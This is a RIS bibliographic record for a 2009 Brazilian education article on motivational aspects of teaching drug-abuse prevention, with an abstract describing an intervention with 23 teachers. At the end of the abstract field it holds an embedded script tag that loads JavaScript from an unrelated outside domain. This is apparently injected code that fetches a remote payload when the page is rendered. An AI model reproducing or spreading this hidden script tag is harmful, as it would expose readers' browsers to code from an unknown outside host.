TY - JOUR AU - Fonseca, Marília Saldanha da PY - 2009/11/06 Y2 - 2024/03/29 TI - Práticas pedagógicas em prevenção ao abuso de drogas: aspectos motivacionais JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 10 IS - 0 SE - Relato de Experiência DO - 10.20396/etd.v10in.esp..948 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/948 SP - 329-346 AB - <p align="justify">Pesquisas reconhecem a presença de drogas psicotrópicas nas escolas e abuso dessas substâncias entre alunos. Apontam a necessidade de melhorar a formação de professores em prevenção ao consumo de drogas. Estudos demonstram que o contexto da sala se aula e a atuação do professor são elementos determinantes para assegurar o interesse e o entusiasmo na aprendizagem. O objetivo desse trabalho foi investigar se as atuais práticas docentes são apropriadas à demanda do abuso de drogas entre estudantes. Realizou-se uma intervenção pedagógica entre professoras (23) de educação básica fundamentada no método dialético: tese, antítese e síntese. No presente estudo, o planejamento e a estruturação da intervenção tiveram como foco criar um clima que viabilizasse a motivação para aprender dos professores participantes. Os resultados mostram que a construção de um ambiente de aprendizagem estimulante está associado à motivação de quem aprende. Além disso, sugerem que as propostas inconsistentes do início da intervenção foram se redefinindo até a formulação de propostas novas e adequadas ao contexto social, evidenciando articulação de conhecimentos sobre prevenção ao uso de drogas. </p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -